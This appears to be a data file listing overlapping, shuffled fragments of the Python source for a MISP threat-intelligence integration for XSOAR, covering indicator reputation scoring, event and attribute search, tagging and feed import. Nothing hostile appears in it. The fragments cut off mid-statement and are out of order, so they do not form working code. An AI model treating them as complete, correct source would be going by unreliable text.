V3]:\",\n \"given object we go over all the tags and search if found_tag is\",\n \"hashFormat will be used only in output hash_format = get_hash_type(value) if hash_format ==\",\n \"event_tag_ids = set(), set() found_related_events = {} if not attributes_list: return None for\",\n \"'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids':\",\n \"readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids'))\",\n \"'8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \\\"\\\"\\\" return [{k: v} for k,\",\n \"MISP object Returns: list: list containing dicts that GenericObjectGenerator can take. Examples: >>>\",\n \"dbot, value) return CommandResults(indicator=indicator, readable_output=f\\\"No attributes found in MISP for value: {value}\\\") def\",\n \"'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category':\",\n \"= demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing\",\n \"def warn(*args): \\\"\\\"\\\" Do nothing with warnings \\\"\\\"\\\" pass # Disable requests warnings\",\n \"MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject from\",\n \"return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results(\",\n \"response.get('Sighting'): human_readable = f'Sighting \\\\'{sighting_type}\\\\' has been successfully added to attribute {att_id}' return\",\n \"'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info',\",\n \"test_extract_error. Args: error: list of responses from error section Returns: List[Dict[str, any]]: filtered\",\n \"return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error]\",\n \"about all the events that include the indicator Please see an example for\",\n \"[galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects:\",\n \"enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response\",\n \"it will be removed from the suspicious tag ids set and will be\",\n \"context data (array of attributes). score: the indicator score found_tag: the tag (id)\",\n \"every attribute we remove the \\\"Related Attribute\\\" list and limits the tags and\",\n \"be stayed only in the malicious one (as a tag that was configured\",\n \"the UUID and tag exist.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable =\",\n \"tag is only related to an attribute we would like to add it\",\n \"== limit: pagination_message += f\\\"Showing page {page} out others that may exist\\\" else:\",\n \"found_tag = None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag in\",\n \"= PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not connected.')\",\n \"internal: bool = False, demisto_args: dict = {}, new_event: MISPEvent = None): \\\"\\\"\\\"Adding\",\n \"or file hash). dbot_type (str): Indicator type (file, url, domain, email or ip).\",\n \"response_for_context[:number_of_results], [\\\"Value\\\"]) else: response_for_context = build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\\\"Current\",\n \"events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True) readable_output\",\n \"found_tag: the tag (id) which made the indicator to get that score found_related_events\",\n \"if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp'))\",\n \"attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event\",\n \"len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids)\",\n \"attribute to internal (bool): if set to True, will not post results to\",\n \"if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0\",\n \"'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org':\",\n \"given domain: {value} is not valid\\\") if dbot_type == 'URL': if not re.compile(urlRegex,\",\n \"dict) -> CommandResults: \\\"\\\"\\\" Execute a MISP search using the 'event' controller. \\\"\\\"\\\"\",\n \"if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format:\",\n \"Union[str, int]) -> str: \\\"\\\"\\\" Gets a timestamp from MISP response (1546713469) and\",\n \"} for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \\\"\\\"\\\"returns\",\n \"'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID =\",\n \"{ (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in\",\n \"return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \\\"\\\"\\\" Create a new MISP event object and\",\n \"return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \\\"\\\"\\\" By the given object we go\",\n \"MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id', 'uuid', 'to_ids',\",\n \"set to True, will not post results to Demisto demisto_args (dict): Demisto args\",\n \"true) we would like to add to tag_set_ids all the tags (event ones\",\n \"MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else 'Event from XSOAR' event.date\",\n \"def add_domain_object(demisto_args: dict): \\\"\\\"\\\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\"\",\n \"= ( r\\\"([a-z¡-\\\\uffff0-9](?:[a-z¡-\\\\uffff0-9-]{0,61}\\\" \\\"[a-z¡-\\\\uffff0-9])?(?:\\\\\\\\.(?!-)[a-z¡-\\\\uffff0-9-]{1,63}(?<!-))*\\\" \\\"\\\\\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\\\" \\\"|html)$)(?:[a-z¡-\\\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\\\\\.?$\\\" \\\"|localhost)\\\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type',\",\n \"Please provide a valid value for the Source Reliability parameter\\\") attributes_limit = arg_to_number(params.get('attributes_limit',\",\n \"is no need in returning related event when searching for an event build_galaxy_output(events[i])\",\n \"command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting':\",\n \"'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args:\",\n \"raw_response=event ) def add_attribute(event_id: int = None, internal: bool = False, demisto_args: dict\",\n \"'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given url: {value} is not\",\n \"k, v in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \\\"\\\"\\\" Args:\",\n \"DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\\\"Removing the required tag was\",\n \"'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation':\",\n \"doesn't exist when this is an attribute level, default is '0' tag_id =\",\n \"bool, proxies: dict): \\\"\\\"\\\"Gets an OSINT feed from url and publishing them to\",\n \"\\\"\\\"\\\"Gets a list ot tag ids (each one is str), and verify all\",\n \"the score will be BAD if the threat level id is in [1,2,3].\",\n \"str]) -> Union[dict, list, str]: \\\"\\\"\\\" Replacing keys from MISP's format to Demisto's\",\n \"= demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip',\",\n \"misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \\\"\\\"\\\" Gets a timestamp from MISP\",\n \"of the complex operators the original input will be returned Returns: str: dictionary\",\n \"pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import\",\n \"add_object(event_id, obj) def add_url_object(demisto_args: dict): \\\"\\\"\\\"Building url object in MISP scheme Scheme described\",\n \"tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" After getting all the attributes which\",\n \"full related attributes only if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute')\",\n \"'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event\",\n \"= argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format:\",\n \"over 'attributes'\\\"\\\"\\\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False))\",\n \"limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message\",\n \"sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\\\"An error\",\n \"reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability,\",\n \"if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for\",\n \"[{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'},\",\n \"Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \\\"\\\"\\\" Create a new MISP event\",\n \"see UT: test_extract_error. Args: error: list of responses from error section Returns: List[Dict[str,\",\n \"Fill in a valid key in the integration configuration.') MISP_URL = params.get('url') VERIFY\",\n \"= f'Tag {tag} has been successfully removed from the event {uuid}' return CommandResults(\",\n \"in test_data/reputation_command_response.json Please see an example for a parsed output in test_data/reputation_command_outputs.json \\\"\\\"\\\"\",\n \"the indicator to be scored as malicious or suspicious. Args: all_attributes (dict): The\",\n \"'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event\",\n \"removed from the suspicious tag ids set and will be stayed only in\",\n \"re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given email address: {value} is not valid\\\") def\",\n \"PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except\",\n \"and the tag is only related to an attribute we would like to\",\n \"'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return\",\n \"delimiter for operators. using the operators is optional. if 'demisto_query' does not contains\",\n \"data outputs, for every attribute we remove the \\\"Related Attribute\\\" list and limits\",\n \"found_tag (str): The tag that was scored as malicious or suspicious. If no\",\n \"uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully added to\",\n \"event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def\",\n \"= argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text',\",\n \"from typing import Union, List, Dict from urllib.parse import urlparse import urllib3 from\",\n \"'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'),\",\n \"attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'),\",\n \"'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat',\",\n \"key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score,\",\n \"for a parsed output in test_data/reputation_command_outputs.json \\\"\\\"\\\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute')\",\n \") def remove_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will remove tag to given UUID\",\n \"output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\"\",\n \"address, email address, domain, url or file hash). dbot_type (str): Indicator type (file,\",\n \"if demisto_args.get('include_correlations') == 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1\",\n \"if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\\\"MISP V3 error: Please provide a valid\",\n \"by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type':\",\n \"for a response in test_data/reputation_command_response.json Please see an example for a parsed output\",\n \"to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in\",\n \"attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\\\"Match found in MISP\\\") indicator =\",\n \"'0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL':\",\n \"more information and examples please see UT: test_extract_error. Args: error: list of responses\",\n \"or suspicious. event_name (str): Name of the event \\\"\\\"\\\" related_events = [] object_tags_list\",\n \"complex query or if no complex query found returns the original input \\\"\\\"\\\"\",\n \"or event, depends on the called function\\\"\\\"\\\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ {\",\n \"[SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'),\",\n \"get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file hash of\",\n \"tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" After getting all\",\n \"to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to\",\n \"is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for tag\",\n \"# attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output,\",\n \"event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag\",\n \"'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event',\",\n \"wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes\",\n \"Union[dict, requests.Response], include_correlations=False) -> dict: \\\"\\\"\\\" Convert the response of attribute search returned\",\n \"tag. \\\"\\\"\\\" scored_events = [] if found_tag: for attribute in all_attributes: event =\",\n \"internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\\\"##\",\n \"In addition, returns set of the found tag ids. Some tags have a\",\n \"The given domain: {value} is not valid\\\") if dbot_type == 'URL': if not\",\n \"command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file',\",\n \"outputs, for every attribute we remove the \\\"Related Attribute\\\" list and limits the\",\n \"scored_events = [] if found_tag: for attribute in all_attributes: event = attribute.get('Event', {})\",\n \"event command, the attrubite will be added to that existing event. \\\"\\\"\\\" attributes_args\",\n \"has to be a positive integer, please change the given: '{tag}' id.\\\") except\",\n \"def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj\",\n \"the newer ones. Returns: response (dict): The parsed outputs to context data (array\",\n \"indicator results. \\\"\\\"\\\" reputation_value_validation(value, dbot_type) misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True,\",\n \"+= f\\\"Showing page {page}\\\" md = tableToMarkdown( f\\\"MISP search-events returned {len(response_for_context)} events.\\\\n {pagination_message}\\\",\",\n \"remove tag to given UUID of event or attribute. is_attribute (bool): if the\",\n \"tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'):\",\n \"scored by their event's threat level id. In such case, the score will\",\n \"args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp']\",\n \"is 4 = Unknown. note: - In case the same tag appears in\",\n \"0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in\",\n \"to add attribute to internal (bool): if set to True, will not post\",\n \"(bool): if the given UUID is an attribute's one. Otherwise it's event's. \\\"\\\"\\\"\",\n \"'ip_dst' ] # converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args)\",\n \"MISP and returning outputs Args: obj: object to add to MISP event_id: ID\",\n \"err[1].get('errors') } for err in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \\\"\\\"\\\" Converts\",\n \"copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in\",\n \"objects. Note: When limits the attributes amount, we sort the attributes list by\",\n \"urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent,\",\n \"{demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \\\"\\\"\\\" Gets 2 sets which\",\n \"try: args = json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj =\",\n \"with their events objects. Note: When limits the attributes amount, we sort the\",\n \"def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp']\",\n \"\\\"\\\"\\\" As tag list can be full of in unnecessary data, we want\",\n \"readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \\\"\\\"\\\"Adds sighting to MISP\",\n \"dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type ==\",\n \"None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type':\",\n \"False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if\",\n \"attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids,\",\n \"to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def\",\n \"misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\\\"1\\\", \\\"2\\\",\",\n \"= replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags\",\n \"context output format. please note: attributes are excluded from search-events output as the\",\n \"'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ]\",\n \"ValueError as e: raise DemistoException(f'URL [{url}] is not a valid MISP feed. error:\",\n \"the API key and the URL are correct\\\" in error: return_error('Unable to connect\",\n \"hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file\",\n \"if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') }\",\n \"in [1,2,3]. Otherwise, the threat level is 4 = Unknown. note: - In\",\n \"dbot_type (str): Indicator type (file, url, domain, email or ip). malicious_tag_ids (set): Tag\",\n \"related to an attribute we would like to add it to tag_set_ids. In\",\n \"reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif\",\n \"prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response\",\n \"given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for\",\n \"argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen',\",\n \"is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return\",\n \"CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if\",\n \"def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" After getting all the attributes which match\",\n \"= 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not\",\n \"on the called function\\\"\\\"\\\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type':\",\n \"from the MISP search attribute request found_tag (str): The tag that was scored\",\n \"return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception\",\n \"related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \\\"\\\"\\\" By the given object we go over\",\n \"DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for\",\n \"is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator\",\n \"the data is attribute's (is_event_level = false), and the tag is only related\",\n \"return None for attribute in attributes_list: attribute.pop(\\\"RelatedAttribute\\\") # get rid of this useless\",\n \"urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path})\",\n \"and Events that: * have tags which configured as malicious will be scored\",\n \"1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] =\",\n \"{uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response\",\n \"build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) -> dict: \\\"\\\"\\\" Convert the response of attribute search\",\n \"e: raise DemistoException( f'`attribute` parameter could not be decoded, may not a valid\",\n \"contains info (name, id, threat level id) about all the events that include\",\n \"we want to limit this list to include only the ID and Name\",\n \"attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory arg att_id\",\n \"deletes it. \\\"\\\"\\\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response:\",\n \"'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'}\",\n \"demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids,\",\n \"= f'Object has been added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable,\",\n \"Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High':\",\n \"get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute')\",\n \"id {new_event.id}.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type,\",\n \"'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids,\",\n \"None, internal: bool = False, demisto_args: dict = {}, new_event: MISPEvent = None):\",\n \"is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully removed\",\n \"is_event_level (bool): Whether the attribute_dict was received from an event object, meaning the\",\n \"[tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')]\",\n \"return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results(\",\n \"Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \\\"\\\"\\\" Examples are available in UT: test_build_misp_complex_filter. For\",\n \"ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if\",\n \"'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url',\",\n \"in MISP for the given filters: {args}\\\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict:\",\n \"malicious_tag_ids (set): Tag ids should be recognised as malicious. suspicious_tag_ids (set): Tag ids\",\n \"= PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\\\"Error: An event with the\",\n \"added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError\",\n \"args.get('info') if args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published',\",\n \"scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def\",\n \"'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version':\",\n \"Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params() if\",\n \"'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete',\",\n \"misp to perform complex query or if no complex query found returns the\",\n \"argToList(demisto_args.get('ip')) for ip in ips: 